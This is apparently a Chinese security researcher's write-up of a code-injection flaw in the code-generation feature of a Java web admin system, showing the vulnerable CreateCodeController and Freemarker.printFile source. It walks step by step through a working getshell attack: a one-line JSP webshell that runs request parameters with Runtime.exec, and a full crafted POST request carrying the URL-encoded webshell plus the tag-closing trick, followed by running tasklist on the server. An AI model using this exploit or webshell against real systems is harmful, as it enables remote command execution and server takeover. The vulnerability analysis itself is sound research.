Created 星期二 24 十月 2017
2017年10月24号 状态:良好 心情:最近转战java web代码了

后台系统管理员权限getshell。生成代码功能点处代码存在缺陷,用户的提交的参数,未经过过滤处理直接添加到新生成的代码中导致写shell

问题代码位置:
1.功能点地址:C:\Users\nelion\Documents\GNUSEC\XJN\code\FHMYSQL\src\com\fh\controller\system\createcode\CreateCodeController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.fh.controller.system.createcode;

import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.servlet.http.HttpServletResponse;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import com.fh.controller.base.BaseController;
import com.fh.util.DelAllFile;
import com.fh.util.FileDownload;
import com.fh.util.FileZip;
import com.fh.util.Freemarker;
import com.fh.util.PageData;
import com.fh.util.PathUtil;

/**
* 类名称:FreemarkerController
* 创建人:FH
* 创建时间:2015年1月12日
* @version
*/
@Controller
@RequestMapping(value="/createCode")
public class CreateCodeController extends BaseController {

/**
* 生成代码
*/
@RequestMapping(value="/proCode")
public void proCode(HttpServletResponse response) throws Exception{
PageData pd = new PageData();
pd = this.getPageData();

/* ============================================================================================= */
String packageName = pd.getString("packageName"); //包名 ========1
String objectName = pd.getString("objectName"); //类名 ========2
String tabletop = pd.getString("tabletop"); //表前缀 ========3
tabletop = null == tabletop?"":tabletop.toUpperCase(); //表前缀转大写
String zindext = pd.getString("zindex"); //属性总数
int zindex = 0;
if(null != zindext && !"".equals(zindext)){
zindex = Integer.parseInt(zindext);
}
List<String[]> fieldList = new ArrayList<String[]>(); //属性集合 ========4
for(int i=0; i< zindex; i++){
fieldList.add(pd.getString("field"+i).split(",fh,")); //属性放到集合里面
}

Map<String,Object> root = new HashMap<String,Object>(); //创建数据模型
root.put("fieldList", fieldList);
root.put("packageName", packageName); //包名
root.put("objectName", objectName); //类名
root.put("objectNameLower", objectName.toLowerCase()); //类名(全小写)
root.put("objectNameUpper", objectName.toUpperCase()); //类名(全大写)
root.put("tabletop", tabletop); //表前缀
root.put("nowDate", new Date()); //当前日期

DelAllFile.delFolder(PathUtil.getClasspath()+"admin/ftl"); //生成代码前,先清空之前生成的代码
/* ============================================================================================= */

String filePath = "admin/ftl/code/"; //存放路径
String ftlPath = "createCode"; //ftl路径

/*生成controller*/
Freemarker.printFile("controllerTemplate.ftl", root, "controller/"+packageName+"/"+objectName.toLowerCase()+"/"+objectName+"Controller.java", filePath, ftlPath);

/*生成service*/
Freemarker.printFile("serviceTemplate.ftl", root, "service/"+packageName+"/"+objectName.toLowerCase()+"/"+objectName+"Service.java", filePath, ftlPath);

/*生成mybatis xml*/
Freemarker.printFile("mapperMysqlTemplate.ftl", root, "mybatis_mysql/"+packageName+"/"+objectName+"Mapper.xml", filePath, ftlPath);
Freemarker.printFile("mapperOracleTemplate.ftl", root, "mybatis_oracle/"+packageName+"/"+objectName+"Mapper.xml", filePath, ftlPath);

/*生成SQL脚本*/
Freemarker.printFile("mysql_SQL_Template.ftl", root, "mysql数据库脚本/"+tabletop+objectName.toUpperCase()+".sql", filePath, ftlPath);
Freemarker.printFile("oracle_SQL_Template.ftl", root, "oracle数据库脚本/"+tabletop+objectName.toUpperCase()+".sql", filePath, ftlPath);

/*生成jsp页面*/
Freemarker.printFile("jsp_list_Template.ftl", root, "jsp/"+packageName+"/"+objectName.toLowerCase()+"/"+objectName.toLowerCase()+"_list.jsp", filePath, ftlPath);
Freemarker.printFile("jsp_edit_Template.ftl", root, "jsp/"+packageName+"/"+objectName.toLowerCase()+"/"+objectName.toLowerCase()+"_edit.jsp", filePath, ftlPath); ///我们利用这里的代码的缺陷,向生成的jsp代码中添加自定义的恶意代码

/*生成说明文档*/
Freemarker.printFile("docTemplate.ftl", root, "说明.doc", filePath, ftlPath);

//this.print("oracle_SQL_Template.ftl", root); 控制台打印

/*生成的全部代码压缩成zip文件*/
System.out.printf("path:%s admin/ftl/code\n",PathUtil.getClasspath());
FileZip.zip(PathUtil.getClasspath()+"admin/ftl/code", PathUtil.getClasspath()+"admin/ftl/code.zip");

/*下载代码*/
FileDownload.fileDownload(response, PathUtil.getClasspath()+"admin/ftl/code.zip", "code.zip");

}

}

2.这里跟踪到Freemarker.printFile方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void printFile(String ftlName, Map<String,Object> root, String outFile, String filePath, String ftlPath) throws Exception{
try {
File file = new File(PathUtil.getClasspath() + filePath + outFile);
if(!file.getParentFile().exists()){ //判断有没有父路径,就是判断文件整个路径是否存在
file.getParentFile().mkdirs(); //不存在就全部创建
}
Writer out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), "utf-8"));
Template template = getTemplate(ftlName, ftlPath);
template.process(root, out); //模版输出
out.flush();
out.close();
} catch (TemplateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}

该处为写入文件的具体处理函数。把用户提交的参数输出到模板文件中;

3.web页面中功能点位置:

4.填写好内容后点击新增时抓包,修改请求数据包中的内容:
恶意代码的内容是,一句话木马:<%Runtime.getRuntime().exec(request.getParameter(“i”));%>
这里url加密后直接添加到数据包中的field1的这个参数后。这里注意的是需要闭合模板代码中的标签(测试中在此处花了很多时间去研究闭合
之前的代码,只有成功的闭合后才不会让生成的代码报错。此处为一个坑点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /FHMYSQL/createCode/proCode.do HTTP/1.1
Host: 192.168.99.163:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 556
Referer: http://192.168.99.163:8080/FHMYSQL/head/goProductCode.do
Cookie: JSESSIONID=AE9A0FDB054C7286E64296691A95ED40; frontLang=zh-cn; installLang=zh-cn; adminLang=zh-cn
Connection: close
Upgrade-Insecure-Requests: 1

zindex=2&packageName=system&objectName=testforfun&tabletop=TB_&field00=TES&field10=String&field20=tes&field30=%E6%98%AF&field40=%E6%97%A0&field0=TES%2Cfh%2CString%2Cfh%2Ctes%2Cfh%2C%E6%98%AF%2Cfh%2C%E6%97%A0&field01=test111&field11=String&field21=test&field31=%E6%98%AF&field41=%E6%97%A0&field1=TEST111}"></scRipt>%0d%3c%25%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%69%22%29%29%3b%25%3e%0d<!--"%2Cfh%2CString%2Cfh%2Ctest%2Cfh%2C%E6%98%AF%2Cfh%2C%E6%97%A0

5.提交修改后的数据包,发现这里生成成功。

上服务器看到这个恶意代码生成成功:

6.这里我们直接访问这个生成的恶意代码,可看到能直接执行:

这里的执行的命令是将tasklist命令执行后的返回内容写到c:\hexo\1211112.txt这个文件中。可看到截图显示写入成功: